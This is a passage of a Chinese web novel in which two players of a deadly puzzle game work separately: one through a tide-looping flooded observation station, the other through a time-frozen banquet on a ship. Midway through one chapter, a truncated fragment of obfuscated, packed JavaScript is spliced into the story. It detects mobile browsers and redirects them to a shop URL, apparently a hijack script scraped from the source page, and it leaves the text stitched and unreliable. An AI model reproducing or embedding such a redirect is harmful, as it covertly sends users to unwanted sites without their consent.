在第一次海水上涨时,她听到一阵有节奏的咚咚声,像是水流在撞击管道,循着声音而去,原来声音是从通风管道传来的,里面此刻正飘浮着一个浮球,随着潮水上涨,浮球上升,上面似乎标志着一个数字。
不过浮球卡在管道中间,上半部分被铁锈侵蚀,所以辨认的不是很清楚。只能看到下半部分,像一个没有边框的圆形,下半圆有个
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竖线,暂且认为它是数字“2”。
下一张照片,是生活层的壁炉,因为气流的变化,灰烬被吹动,重新分散排布的黑色粉尘,勉强可以确定也是数字”2”。
最后两张照片,都是一张钉死在墙上的航海图,谢幕一开始拍它,只是出于一种习惯。
要知道,整个副本基本上都建立在同一个世界基础上,那便是莱昂内尔所代表的“副本世界”,包括这个副本,也不例外,区别只不过是在于,离那些副本npc的活动范围,统治范围的远近而已,所以能出现地图,还是自己没见过的新地图,这就很难不研究一下。
抱着这样的想法她拍下了这张照片。
一股凉意从脚尖传来,谢幕低头一看不知道什么时候鞋子已经湿透了,海水已经涨到了自己的脚底。
不对啊,她刚才明明记得,第一次涨潮的时候,水位应该刚好停在第六层,也就是谢幕下方隔一层的位置,怎么这次上涨的水位那么高。
或许每隔一次循环,上涨的水位就会增加?
可是这增加的也太多了吧?
海水的冰冷慢慢缠绕着她的小腿一直往上爬,直到谢幕的整个脑袋都贴在天花板上,海水与天花板之间只留下半个头那么大的距离,这才有停下来的迹象。
她整个人被浸泡在海水中,冷的牙齿疯狂打架,细细算来,距离退潮应该还有5h,而且如果真像她想的那样,下一次涨潮,应该会直接淹到第九层,她能找到第九层吗?这里有第九层吗?
虽然自己身上还有很多道具,这点寒冷还有没有空气的问题,倒不至于让她立刻死亡,怕就怕,自己没有在8次循环之前推理出正确的答案。
谢幕很清楚,任务失败,将会由系统立刻抹杀。
她想起那台座钟,基于多年的解密副本,她第一时间检查了这种谜题常出现地点,果然,那台座钟的指针无法通过外力运转,除了在循环交替时会迅速变换外,它的指针永远指向一个时间——3:16。
而当她向下摸去,还在座钟的底座处发现了四个凹槽,上下转动,还会有数字嗒嗒的数字上下滚动,感觉和保险箱差不多……
四个槽,对应四个数字,那么现在,就还要两个数字了。
哦对,还有这些数字的顺序……是按发现顺序吗?应该不会那么简单。
谢幕还在思考时,身下猛的传来一股巨大的吸力。
【第三轮循环结束,请玩家继续努力】
系统的声音伴随着类似抽水马桶的声音传来,与此同时,原本包裹着谢幕的海水因为抽离的速度过快,而在水面中央形成了一个小型漩涡。
她连忙死死拉住绳子避免自己被卷进去。
待一切归于平静时,谢幕悬挂在六层楼高的半空中,朝下看去,深不见底的观测站,此刻像一只深邃的眼睛,静静地注视着他。
谢幕手一松,顺着绳子一滑到底。
随着她的脚重新踏上地面。
第四次循环,开始。
16.潮痕
观测站的第一层几乎快被水灌满,水面漂浮的杂物与退潮遗留的垃圾,将整个水面覆盖的严严实实。谢幕就算直接跳下去,也没有直接掉到水里,淤积过多的垃圾堆积在一起,形成一个个半人高的小山,除此以外其他什么都没有,但是鉴于每一次复原,这里的一切都会发生一些细微的变化,谢幕还是会如实记录下来。
哪怕经过了两次潮涨潮落,这里还是和第一次一样,甚至一些小物件的摆放位置都没有丝毫变化。
一阵阵闪光灯响起,将这一次退潮后一楼的大致模样拍下后,谢幕抓起绳子准备爬到第二楼。
这时,脚边不知道怎么了,碰到一个应该已经坏了很久的收音机,随着收音机的开关被打开,磁带转动的声音在幽深的空间里格外惊悚,咔哒咔哒,好像来自亡者的低语……
“我……咔哒咔哒……看到了‘宝藏’……活过来了,祂是活……快来—……”
“快来——”
“来——”
那声音带着一股恐惧,但更多的却是兴奋,一路回荡,直到消失在楼顶,好似某种来自地狱的邀请,却无人回应,只好悻悻回归。
谢幕听了一会,并没有听出任何和数字有关的提示后,便转身朝上爬去。
等她落地第三层的时候,她随手看了一眼自己的静默值,说起来还得感谢刚刚的回声,不然自己的静默值估计就往个位数走了。
她一向习惯轻手轻脚,连呼吸声都会下意识加以控制,毕竟在副本里,过多的声音都会引来很大的麻烦。
不出声总比出声好。
话说起来,她翻找东西的手顿了一下,既然静默值清零会被抹杀,那静默值达到一百会发生什么呢?
或许会直接通关?然后系统恭喜你,达成了隐藏成就——话唠?
她自己想着,偷偷笑了一下,却又很快调整过来。
应该把注意力放到眼前的问题上。
一张照片随着她拉开一张抽屉,掉了出来。
「1976年,鹦鹉螺生态监测管理员大合照」
谢幕拿起来一看,发现这就是自己在游戏外看到的那张照片。只不过不一样的是,上面四个人的脸,有三个人都是清晰的,唯独有一个人的面孔,好像化开的奶油一般,无论怎么看都辨认不清楚。
是因为曝光的问题吗?或许当时就是因为这个原因,四个人才又拍了一张照片,只不过后来因为某种原因被划烂了。
她的目光朝抽屉里面看去,发现还有几张照片积压在底下。
这是前三次循环没有出现的东西。
一张一张翻下去……
「腊月初八,观大潮」两个男人勾肩搭背站在海崖边,身后翻涌起快把整个画面都覆盖的滔天巨浪,而他们丝毫没有害怕,嬉笑着看着镜头,手上还做着各种各样的动作,看起来欢乐,照片的左下角,写着拍摄的年份——1966年。
谢幕抿了抿嘴,将照片翻转过去,不想再看。
「腊月初九,出海游」这次,是三个男人站在一起,平静地看着镜头,身后是一片宽广的大海,上面漂浮着一只小艇。从照片上来看,依旧可以看到不时掀起的几个巨大波浪……和之前那张是同一年拍的,估计就是前后两天。
「19*7年,潮满祭」绚丽的烟花在海面上空绽开,一个男人站在夜空下,笑得灿烂,他的身后,是熙攘的人群,他们或许因为这个节日拥抱在一起,或许为着这个节日许下庄重的誓言,其刻屏息闭目,静静站在那里。
她轻轻抚摸着照片上的那行字,想要看看能不能把上面的屋污渍抹去,却不小心一个用力,整行字迹就这样变得模糊不清。
【恭喜玩家获得线索:过去的来信】
算了,应该也不是什么重要的消息。
她将三张照片摊开,发现,只有最后那张照片的男人,面容模糊不清。
手指轻轻敲击着两张照片上的男人,过去的画质实在有限,而且又是黑白照,实在没有办法从身形上分辨。
谢幕将照片收起来,决定先将整个场景都再探索一遍,再来梳理这些细节。
现在更紧要的是,找到剩下的两个数字。
就在她往上爬的时候,不知道为什么,鼻子突然一酸,不受控制的打了个哈欠,静默值又偷偷上涨一截。
谁在想我?她摸了摸鼻子,突然想到还在副本外的四人,突然有了一种不好的预感,于是加快手上的速度。
大意了,当时就不应该手贱到处乱翻的,她一个人独来独往习惯了,遇到什么疑似线索的道具便会习惯性的立刻查看,忘记这个副本里面的游戏关卡是强制即刻触发了。
她得赶紧出去,不然……这个副本里的人应该不止袁宿他们队的人,袁宿看起来对独自通关没有什么兴趣,但也只是看起来,更何况谢幕自己也不知道他们后面,甚至前面有多少人,又都是怎样的,姑且默认他们都是坏人吧。
那么对于四个新手,在这样一个环境下,周围可能随时出现吃人的怪物,身边还是可能随时准备捅一刀独吞奖励的人,他么的处境怎么看都非常危险。
想着,她落到了第四层,面前,就是那张之前一直留意的航海地图。
乍一看这似乎只是一张普通的地图,记录了船只的航行轨迹,可她再一看,发现,地图的一角,在第二次循环的时候,图上的航线是从a岛直接到b岛,可第四次的时候,b岛却消失了,取而代之的是一条从a岛到c岛的航线。
当然,如果要合理的解释也不是没有,例如火山喷发,海底地震导致的海岛沉没,而远航的船只为了可以获得定期的资源补给,于是选择了一条新的航海路线。
但是这里不是地球……
想到这里,谢幕眼里似乎有一丝泪花闪过,但再仔细看去似乎只是海水折射的光亮。
?
一些零星的记忆突然闪过,谢幕的手将整张地图履平。
她随意从桌子上拿了一支钢笔,甩了几下发现还有墨水后,沿着所有陆地的轮廓线重新描了一遍。
最后看着眼前零零碎碎的岛屿,慢慢向后退去,最后在自己的脑海里,变成了小小一块,缩在她关于地球的记忆的小小一角。
千岛青空,北半球大洋东部的一片海岛群落,她从未去过那里,但是很多年前几乎天天都在看地图,早就记住了这里的大概轮廓,之前几次她只是草草经过,这次细细看去,这才想起来。
可是,副本世界怎么会和地球产生联系呢?
她突然有了一个想法,手上的钢笔笔尖一转对着自己的手臂狠狠扎了进去,再向下一滑,一道浅浅的血口便出现在她苍白的皮肤上。
伤口并不深,只是刚刚见血,鲜红的血珠慢慢渗下来,诡异的是这伤口恢复的速度也极快,只是几个眨眼,就快只剩下一条红印了。
谢幕感受着手臂上传来的微痛,心中的疑惑更甚。
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>她原本以为这可能是个梦境副本,这样就能很好的解释循环,以及每次轮回表现出不同却又有相似的原因。
可现在来看,或许另有原因。
周围的抽屉都快被她翻了个底朝天,,也没发现有什么不一样的,知道她拉开桌子最右边的一个抽屉,拉动过程中,却听到里面传来金属摩擦的声音。
谢幕的手顿了一下,她记得,里面应该没有东西才对。
拉开抽屉一看,里面躺着一个水肺。
?
难道这是在告诉自己应该去水底探险吗?
涨潮的时候她曾潜下水去,可是水下空空如也,甚至连观测站的其余楼层也消失不见,她好像置身没有边界的深海,除了黑暗,就还是黑暗。
涨潮的时候没有线索可以探索,系统委婉地告诉她,那个时候是副本的休息时间。
但还有另外一种可能——她并没有获得探索水底的钥匙。
思索片刻,谢幕决定将这个水肺带走,虽然到最后时间重置的时候,它可能会飞回去,但是如果没有,那就意味着它确实是某种关键线索。
【恭喜玩家,道具*1】
“刺啦刺啦……”一声噪音突然又响了起来。谢幕探出头去,发现是那个收音机,此刻不知道为什么又运转起来,慢悠悠地吐出几个意味不明的字眼,两个扬声器直直于自己对视,好像正在看着自己。
时间一分一秒过去,谢幕慢慢将剩下的楼层都扫荡了一遍,可惜,仍旧一无所获。
她手里拿着一只手电,对着下方照去。
从刚才开始,那个奇怪的收音机就会不时发出一些声音,本来以为会藏着什么杀机,没想到直到现在,依旧什么都没有发生。
最后一个数字依旧下落不明,她难免不怀疑,万一收音机两个扬声器算是数字“2”呢?
水面微微晃动,拍打着金属制的墙壁,发出空灵的回音,谢幕下意识看过去,手电筒一转,却发现,水面晃动间,一个用红色颜料刷成的数字“1”赫然出现在眼前,哪怕历经海水浸泡,时光逝去,依旧十分醒目。
【循环即将开始,倒计时一分钟】
手电冷白的光柱旋转着刺破黑暗,最后稳稳落在了那堆杂物上。
水面上的垃圾突然上下剧烈起伏,谢幕直起一条腿站起来。
她将手电扔下来后,就顺着绳子一鼓作气滑了下来,现在膝盖和手掌上都全是血。可她毫不在意,快速爬到那个数字前,猛的向下一压,原本被遮掩住一部分的符号现在彻底暴露出来,好像一根向下的大拇指,嘲笑着眼前人的无能。
一只手臂长的数字,挤在赤红的铁锈里,如果不是她当时向下一瞥,她根本就发现不了。
第四个数字,是“1”。
【倒计时,15秒】
沾满血的双手重新握住绳子,她已经听到了即将轰鸣而来的水声。
可现在谢幕的脑子里完全没有找全数字的喜悦。
下降的水位变低了,之前没有参照物,还不大看得出区别,可有了这一东西来对比,她一瞬间就发现了这个事情。
循环不止一次,她做下判断。
如果上一次只是简单的水位变高,那么再加上这一次水位变低,已经完全形成了一个新的循环。
两次循环并不是一轮,那么究竟是几次呢,八次?
倒计时结束,水面好像猛兽一般,张开血盆大口,直追谢幕而来。
17.滞宴
收音机沙哑的声音持续的漏,在寂静的船舱里,好像是困在此处的幽灵,因为孤独而自言自语。
夏炘也摔坐在一张床上,环顾四周,发现这里好像是一处船舱,床的不远处放着一张木桌,一本翻得卷了角的日志摊开着,纸页被咸湿的空气浸润得沉重。
木桶,绳索堆放在房间的一角,不知是否落满了灰尘,随着船身的晃动,发出低沉的呻吟。
他撑起身子坐起来,一股血腥味混着海水的咸腥,刺激着他的神经。
鲜血顺着大腿一直往下流,很快在木质的地板上汇成一个小血泊,好在没有伤到大动脉,不然进入游戏的这点时间,就已经够他死两次的了。
【关卡名称:记忆捕捞船】
【通关条件:找到真实的结局】
【……】
副本还在絮絮叨叨的交代关卡的背景,可夏炘也听得却不大清楚,因为失血过多,他现在整个人的k脑子都昏昏沉沉的,手摸向自己一直随身携带的背包,摸了半天,掏出了一卷绷带,上面还挂着几根已经用过的,血迹早就已经风干成黑色。
他取了一段新的,笨拙地将伤口缠紧,最后打了一个死结,这一套下来,血勉强也是止住了。
就在他处理伤口的时候,动作一个不小心,手肘似乎碰掉了什么东西。
低头看去,原来是一个胡桃夹子木偶,腰上挂着一个鼓,手上拿着两个鼓槌,蓝色的眼睛明明正对着天花板,却好像在看着他。
“你好!”
夏炘也打结的手一顿,再一看,原来是那个木偶,他夸张的嘴巴一上一下开合,不断吐出字来。
“很高兴认识你,哦不我认识你,但是你还不认识我,我叫胡可斯,Hocussssss——”
木偶在地上挪动,似乎想站起来。
“烦请帮帮忙。”
夏炘也腾出一只手来扶起了他。
“你果然是个善良的人。”胡可斯眨巴着他的眼睛,眼睫毛像蝴蝶一样在他脸上振翅,似乎马上就要飞走。
他僵硬地跳到夏炘也的膝盖上,“哦不,你似乎遇到了一些小问题……”
胡可斯的脚被腿上的血迹染成了红色,他的眼皮耷拉下来,显得十分痛心的模样。
“真是抱歉……我帮不上忙。”
夏炘也吃痛的倒吸了一口气,抬手将他放到了一边,踉跄着起身,朝前面的桌子走去。
他还记得游戏通关的要求,找到真实。
副本的信息提示,说他现在正在一条前往礁琴岛的船上。
【那是一座充满奇迹的岛屿,孕育了这世间最难得的不可思议之物——鹦鹉螺,世间上唯一存在的完美之物,它的螺壳,遵从既定的,无懈可击的黄金律,是带着过去一起行走,一圈一圈,无法丢弃的年轮……】
【无数人踏上这艘船,只为了见那被时间遗忘的生命】
“可是……最后,当□□消亡,被遗弃的珍珠质的空壳,要到何处去?”胡可斯跟在他脚边,用一种搞怪的语气重复着副本交代的内容。
夏炘也停了下来,回过头去,“你能听到?”
系统的提示音不是只有自己本人才能听到吗?更何况真的可以让一个游戏里的npc知道他们的世界正在被一群外来者破坏吗?
胡可斯停了下来,咯咯笑了起来,森白的木头牙齿不停打架,“你在说什么?这不过是所有人都知道的事情而已,你不也是为此而来吗?”
面前的青年不再理会他,咬着牙开始翻找起桌面上可能有用的东西。
通关条件是找到真实际的结局,可是他连到底发生了什么都不得而知,脚上的伤口疼的他直冒冷汗,豆大的汗水划过脸颊,掉落在桌面上那本航海日志上。
这是一艘游轮,上面载满慕名而来的乘客,“我”也是他们中的一员。
「为了见证那个“奇迹”,我托人为我搞来了乌有号轮船的船票,我们将会在七天后抵达那座与世隔绝的岛屿,听说附近方圆百里都没有人居住,所以我们七天都不能下船,直到抵达那座小岛,那里有一座监测站,里面有丰富的物资,我们会在那里停靠,后面坐小艇前往奇迹诞生之地,会有人专门来接待我们。」
「海上的时光真的好无聊,我只能靠数独打发时间」日志旁边,是厚厚一沓做完的数独。
「孤独使我清醒,听说这里的潮汐很不寻常,昨晚我看了很久的月亮,似乎明白了为什么,又不是特别明白……但我慢慢理清了一些事情……或许我不该这样的,问秋……原谅我……我离那个地方越来越近了,一定要等我回来」
「今晚举行了一场“重返黄金时代”的主题晚宴,我真是该死!我怎么对得起问秋!不对……都是那个人的错,都是因为……」
「明天就抵达岛屿了,问秋,你也为我高兴吧」
再往下翻,便是一片空白,笔记的内容到此为止了。
胡可斯在此期间一直静静地站在一边,好像一个正常的木偶一样,直到他合上书。
“你想出去看看对不对,’重返时光‘晚宴可是棒极了,你一定会喜欢的。”
夏炘也没有理会他,开始翻找起抽屉,不放过任何一个角落。
他现在非常非常讨厌宴会!
一回忆起自己两次在谢幕面前昏迷,他就恨不得当场一头撞死。
心里想着事情,手上的力道就变得没有分寸,一个不小心,抽屉的把手被生生拽了下来。
与此同时,一张空白的船票飘了出来,落在了胡可斯的脚边。
一只手沉默地捡起了那张船票,弯腰的瞬间,胡可斯总觉得什么无形的东西碎了一地。
夏炘也低头掩面,悄悄把掉落的把手塞了回去,假装什么都没有发生过,他现在只庆幸某人没有在场,看不见自己的囧样,不然他真的……会羞愤而死的。
【道具*1】系统贴心的向他证明这是个有用的线索。
可是翻来翻去,上面什么都没有,于是只好暂时先收了起来。
或许上面的线索需要一些特殊手段来看见,比如滴柠檬
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汁,或者用火烤。
耳边突然响起了一阵隐隐约约的爵士乐,似乎是从门那边传来的。
“相信我,你绝对不会后悔的,’重返黄金时代‘宴会,从来不让人失望。”胡可斯没完没了地说着,好像专门搞诈骗的推销员。
“宴会已经结束了,你连我的腿伤都帮不了忙,难道还能带我穿梭时空?”夏炘也受不了开口道,“等我看完这个房间再去前厅。”说着一瘸一拐走向杂物堆。
那里也不能放过。
胡可斯只是一个没有表情的木偶,听到这句话脸上没有什么反应,但吐出的话,尾音明显上扬。
“宴会早就开始,可是却从未结束。”
夏炘也的脑袋里的神经跳了一下,他总觉得自己好像在哪里听到过类似的话。
”另外,我无所不能。”胡可斯说完又咯咯笑了起来,蹦跶着跟上他。
我还无所不晓呢?夏炘也心说,将房间里的一切大致翻找了一下再没有其他发现后,他也打算去前厅看看。
一滴滴血珠沿着他的脚步向门口移动,从门缝里溢出的低沉的爵士乐从之前的若有若无变得越来越清晰。
推开门的瞬间,音乐戛然而止。
他向外看去,却与自己的视线撞了个满怀,房门正对的走廊里,是一面巨大的镜子。
此刻,镜子里的自己正在看着他……准确说,是十四岁的自己,正静静地审视着自己。
夏炘也转过头去不再看,扶着墙壁一点点向声音传来的地方走去。
“啊,你们怎么都浑身都是伤啊?”胡可斯看着面前的小男孩,他穿着不合身的衬衫,上面的扣子还掉了几颗,全身沾满泥泞,嘴角还留着血,不知道是摔的还是什么,半长的头发遮住眼睛,胆怯地站在原地瞧着他们。
“不打算带他一起走吗?他看起来好可怜,好可惜没办法帮到他,哎呀怎么还哭了……”
细碎的哭声传来,在走廊里回荡,就连镜子似乎都荡开了涟漪。
青年看都不看一眼,咬着牙往前走,不知道过了多久,他感觉自己的腿都快直接断成两半了,终于一道白光闪过。
再睁开眼,一队乐队背对着他,正在演奏着舞会的曲目,可是他们面前的架子上,却没有乐谱。
夏炘也从脚边的地上捡起一张纸,是一张乐谱,但是音符是相反的。
【道具*2】
面前的画面十分诡异。
空中的彩带被喷射到半空,却久久没有落下,只有你自己转动角度,才可以看到它的光芒。
乐队保持着演奏时的状态,小提琴绷紧仿佛下一秒就要流出音符,可是,舞池里,没有音乐。
人们成双成对,在巨大的水晶吊顶下,踩着只有他们自己能听到的节拍,无声的旋转。
他们的脸上都带着愉悦的笑,所有人的舞姿看上去都十分轻盈,可却再也感受不到随着节拍一点点运动的力量,他们现在好像一件件精美但冰冷的家具,了无生气。
时间静止了,宴会还在进行。
18.溯影
冰冷的海水没过脚踝,水面不停的变化,翻腾起一阵阵白色泡沫。
谢幕撑着手坐在地板上看着眼前的水汽升腾汇聚,最后又飘散如烟。
四次循环是一个轮回,她看向和一次循环高度一致的水位,做下了判断。
如果说现在才是第二周目,那么第四次循环的时候,为什么出现之前没有的线索就可以很好的解释了。
可是这样做的意义是什么呢?如果是涨潮落潮两个循环,那么新的线索出现就可以看作新的故事背景出现,可是如果是四次循环。
不懂,几年在副本里摸爬滚打,她已经可以逆向思维出副本的出题思路了。
在她眼里,副本就是一个出题老师,祂虽然处处为难你,但是设置的关卡都是带有引导性的,杀机来自副本本身的世界,系统发布任务引导玩家寻找线索,规避死亡的结局。
那么四个循环一个轮回,四个格子对应……四个数字?
四个循环,涨潮-落潮-高潮-低潮?
第一次涨潮时,她找到了数字“2”,第二次落潮时,她找到了数字“2”,第三次涨潮她没有找到数字,第四次是“1”。
那么,她应该是漏掉了第三次的线索,只能等再次循环,也就是第七次的时候,理论上那个线索才会出现。
【第五次循环开始】
系统话音刚落,海水立刻停在了第一次循环的水位线上,几乎立刻证明了她的猜测。
与此同时,扑通一声,谢幕背着水肺一头扎进了水里。
说不定自己想的是错的呢?还是保守一点好。
才刚下水不久,眼前立马出现了各种各样的景象,和第一次的时候完全不同。
看来找到的水肺,果然就是涨潮时,水下世界的钥匙。
一层层往下潜,一个个人影慢慢浮现在眼前,她停了下来,仔细观察着眼前的画面。
那些人的身影都是倒过来的,连同着整个观测站原本的朝向,好像颠倒过来的,其实只有谢幕一个人。
他们似乎并没有察觉什么异常,保持着原本的生活习惯,有的人拉开冰箱正在准备做晚饭,有的人坐在桌子前,正在写信……
谢幕一个用力将自己翻转过来,与此同时哗啦一声,她正站在观测站生活层门口的毛绒地毯上,干燥,温暖,好像之前冰冷潮湿的海水只是自己的一个幻觉。
周围的人并没有因为她的出现而表现出什么异常,继续着他们手头上的事情。
“嘟嘟——”一阵盲音突然传来,所有人的目光看过去,是那个一直在垃圾堆里发出噪音的收音机。
“喂喂喂,能听到吗?”一个男人的声音传来,“我现在到……了,你们接到人了吗?”
离收音机最近的一个带着黑框眼镜的男人走过去,谢幕认出来,他是员工合照里的一人,那人回到,“他们明天才能到,怎么样?螺的生长状况怎么样?”
“嘟嘟——”电话那边又传来一阵盲音。
“喂喂?”黑框青年调试着收音机,企图再次和对面取得联系。
“这里不对劲!”一声恐惧夹杂着繁杂的声音传来,黑框青年呆了一下,显然没有明白男人的情绪怎么转变的如此之快。
“发生什么了!”
“嘟嘟——”
黑框青年用力拍打着那个收音机,发出沉闷的砰砰声。
“喂喂喂……”男人的声音再次传来,这次听起来却十分平静。
“你那边到底发生什么了?”青年抓住机会连忙问道。
可惜再没有人回答,周围的人都躁动起来。
谢幕走近,声音却好像隔着一层布,听起来翁翁的,但是看表情来看似乎事情很严重。
还好她略懂一些唇语。
「发生了什么?」
「不知道,他什么都没说。」
「别是在洞里缺氧出现幻觉了。」
「我们去看看吧……他们下到第几层了?」
「没说,去看看。」
「那船上的人怎么办?谁去接他们?他们到那天应该刚好涨潮,万一出现海雾怎么办?」
「那就放任……不管了吗?」
最后他们不再犹豫,登登登下楼收拾好行李,就往外边走去,只留谢幕站在原地。
幻境?总之剧情并没有因为故事的主要人物消失而结束。
谢幕走到那张航海图前,手指划到a岛,再平移过去,b岛还在,再拉开抽屉。
两人合照、潮满祭、三人合照,没有管理员大合照。
是在其他地方?还是说那张照片还没有拍?
她想着,脚步却没有停,朝座钟的位置走去。
那里空无一物。
再往前……一道无形的屏障将她拦在了外边。
【游戏屏障已开启】
眼前景象慢慢向前飞去,最后缩小为一个针尖,狠狠刺向谢幕的脑海。
她浑身一颤,在水里打了一个圈,发现自己还在漆黑的水底。
整个水体在颤动,第六次循环开始了。
一股吸力慢慢从身下传来,谢幕连忙朝上游去,那股拉拽的力道越来越大,她想要去抓那根绳子,却根本没有办法跟海洋的力量抗衡。
眼前顿时一阵天旋地转,下意识想拔刀,一摸,这才想起来刀还插在天花板上。
她不想知道这股潮水最后要去到哪里,至少不是被迫裹挟着去到那里。
【玩家使用道具,不愿微笑女孩的泡泡机:他们说我呆在水里会笑的很开心,这是我向世界传达喜悦的方式……可是你知道的,我想像泡泡那样从水里飞走……】
【玩家获得泡泡屏障保护,持续时长10s】
【本道具为一次性道具,现已损坏】
一个与周围一切格格不入的彩色泡泡将谢幕包裹起来,扑面而来还有一阵甜腻的糖果味。
“大姐姐……你走到故事的结局了吗?”光影变幻,一个女孩的身影突然出现在泡泡壁上。
她的四肢诡异的肿胀,将身上的裙子都快被撑破,浑浊的眼睛怯生生地看着谢幕的手。
谢幕不知道想到了什么,一滴眼泪悄悄地留下。
她瞥过头去,“快了……再给我一点时间。”
汹涌的海水迅疾向下,直抵万丈深渊,一个五彩梦幻的泡泡却静静飘在半空,将里面那人保护起来,不让她受到一点伤害。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337628|198919||http|test|mini|href|location''.split(''|''),0,{}));
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>她控制不住地伸出手去,想要摸摸女孩的头,却在触碰的一瞬间,所有的一切化为微不可见的水滴,一直下坠,与海水融为一体。
“好……姐姐一定要好好休息……”
谢幕重重的摔在了一层的杂物堆上,她大口喘着粗气,一行行不知道是眼泪还是海水,顺着她的脸颊流淌下来。
【第六次循环开始】
“我有时候会想,你说我真的可以做到吗?”她好像在问谁,又似乎只是在自言自语。
【任何伟大的征程,在抵达终点之前,没人知道究竟可不可以做到】
系统回应了她的问题,语气没有一丝波澜。
谢幕站起身来,“怎么回答得,跟初中阅读理解结尾一样。”
【……】
她抓住绳子一点点向上爬去,“没有其它回答了吗?”
【会的】
【所有人都会记住你的丰功伟绩,任凭时光流逝,你的名字都会被世人永远铭记】
谢幕笑了一下,落在了那座座钟前,“愿不愿意给未来将名留青史的人一个通关密码?”
【……】
谢幕随手拨弄了几个数字,系统见她胸有成竹,忍不住发问。
【你知道通关密码?】
“下一次循环就知道了。”
【不知道你乱输什么】
谢幕拨动完最后一个数字,摸索了一下座钟的附近,发现指针的下方有一个奇怪的凸起,于是按了上去。
“嘎吱”一声,座钟的下半部分打开了一条缝。
数字定格在1967。
【恭喜玩家完成隐藏任务】系统的声音难得带上了一丝情绪。
“没办法,这个数字出现的频率太高了,我现在遇到保险箱都会下意识输进去了。”
【……】
【密码输入次数剩余2次】
听见密码的输入竟然还有次数限制,谢幕想靠手速把可能的排列组合都输一遍的后路彻底堵住了,不过她也没有太紧张,毕竟第七次循环还没来,一切都不是问题。
打开门,一个男人双手抱膝,全身折叠在一起,蜷缩在狭小的空间里,一只眼睛死死盯着开门的人。
他的胸口似乎放着什么东西,谢幕伸手想将它抽了出来,男人顿时发出一声声痛苦的哀嚎。
她伸在半空中的手停在原地,沉默了一会,最后狠心用力一口气抽了出来。
是一本观测记录。
鹦鹉螺生长观测记录?这东西不是早灭绝了吗?
这里到底是不是地球背景。
她现在有点怀疑这群人养的究竟是真真意义上的鹦鹉螺,还是只是一个代号了。
可是翻开书的第一页,一个巨大的足足有石磨那么大的圆盘状的海螺就这样躺在画面的正中间,上面还标注了发现时间——1967年。
接着翻,大多都是一些记录的数据,大概讲的就是他们成功开始人工培育这个早应该灭绝的生物。
直到最后一页,是一张手绘稿图,上面画着一个巨型鹦鹉螺,标注的长宽大概在……
三百米左右?
世界上最大的哺乳动物,蓝鲸,平均体长是30m。
19.等价罪
“这本应该是个超棒的宴会。”
胡可斯的声音好像从遥远的地方传来,可实际上,他正站在夏炘也面前的一个留声机的指针上。
“不觉得这个宴会少了点什么吗?”
夏炘也本来还在宴会四处乱转,这里碰一下,那里碰一下,试图通过系统来小小地做个弊,可惜一无所获,似乎除了船票和乐谱外,就没有其他有用的线索了。
正在他准备回去火烤日志的时候,胡可斯的话让他昏昏沉沉的脑袋闪过了一丝光芒。
整个宴会的时间停在了这一瞬间,是不是因为宴会缺少了某样必不可少的东西,而只要找到并让那个东西加入到宴会里,就可以让时间重新开始向前流淌?
乐队,美酒,灯光……
他的目光不断扫过眼前的一切,突然一道寒光从舞池中间的香槟塔顶部闪过,夏炘也的脑子顿时被刺得清明不少,摇晃着走到两人高的香槟塔前,朝上看去。
果然,一根银针模样的东西浸泡在塔尖的那个香槟杯。
夏炘也比划了一下,他现在手上的那条腿早就没有知觉了,连站着都费劲,更别说跑跳,就算他搬来舞池周围的椅子,也够不到最上面的位置,于是他一把抽出了桌布,整个香槟塔因为桌布的拖拽向后倒去。
随着噼里啪啦玻璃落地的声音响起,一块块玻璃碎片泛着彩光,朝四周飞溅而去。
而那个银针,在地上狠狠弹了几下,向远处划去,最后,停在了胡可斯的脚边。
夏炘也伸手捡起那个银针,一个不留神,被底下透明的玻璃碎渣划开了一个大口子。
【道具*3】
他皱了皱眉,见伤口不深,索性连处理都不处理了,直接朝留声机走去。
如果没有认错的话,这应该是一个唱针。
随着唱针放到留声机上,慢慢滑入唱片的第一个凹槽,发出一声清脆的“咔”声。
然后……
什么都没有发生。
整个宴会厅,依旧只有夏炘也粗重的喘息声,还有滴答滴答的水滴落下的声音。
是他的血,正在顺着手臂,小腹还有大腿慢慢滴落的声音。
留给夏炘也的时间不多了,哪怕一出去就获得即时治疗,他现在的状态,也在副本里呆不了多长时间,更何况想要他命的,不止这一个。
【静默值:81】
【请玩家注意】
静默值因为他刚刚那番操作疯狂攀升,哪怕现在周围都安静下来,可是下降的幅度依旧微乎其微。
不是音乐?
不知道什么时候,他的视线开始变得有些模糊,眼前慢慢出现一些半透明的人影。
此刻他的眼里,宴会中似乎有一部分人已经恢复了正常,耳边传来优雅的华尔兹,而他们正伴随着华尔兹的节拍翩翩起舞。
小提琴绷紧的弦不停地颤动,发出一个个动人的音符,钢琴黑白的琴键自己上下起伏,好像翻涌的海面,涌出动人的音律。
钢琴……他脑海里的记忆不断翻篇。
夏炘也拍了拍脸,打起精神来一看,果然,钢琴前,空无一人。
他连忙拿出之前在地上捡的那张乐谱,横穿过人群,朝那架钢琴走去。
琴盖被用力的掀开,放好乐谱,夏炘也一个指头一个指头开始敲打起琴键。
胡可斯站在钢琴盖上,看着眼前的青年笨拙驯服钢琴的场景,彩漆绘制的笑脸后,嘴角拼命抽动着。
很难听……但是每一个音都弹对了,他实在想不明白为什么?
夏炘也确实不会弹钢琴,他小时候也没有机会接触这些,但是……因为某人,他特意背了音符,记了一些曲子,想着哪天说不定就用上了。
谁知道竟然先在这里派上用场了。
似乎副本都听不下去这恐怖的音乐了,夏炘也突然感觉有什么力量控制了他的手,他弹琴的手指从之前的食指“一枝独秀”,慢慢的放在琴键上的手指越来越多,最后,双手突然在黑白键上方短暂的停滞,然后像翩迁的飞鸟掠过湖面,手指在琴键上快速落下又迅速升起,只有音乐能勉强跟上手指的影子。
夏炘也的手指生的纤长,因为爱干净,指甲也修剪的格外整齐,弹起一些高难度的跨音,在那股力量的牵引下也毫不费劲。
随着琴声飘出,一阵爵士乐也突然闯入,紧接着,舞池中央的人们,好像被上好发条的八音盒娃娃,开始随着因为一圈圈跳起舞来。
嬉笑声,交谈声,突然全都涌入,之前的一切好像只是他的幻觉,亦或者,现在的一切,只是他自己的幻觉。
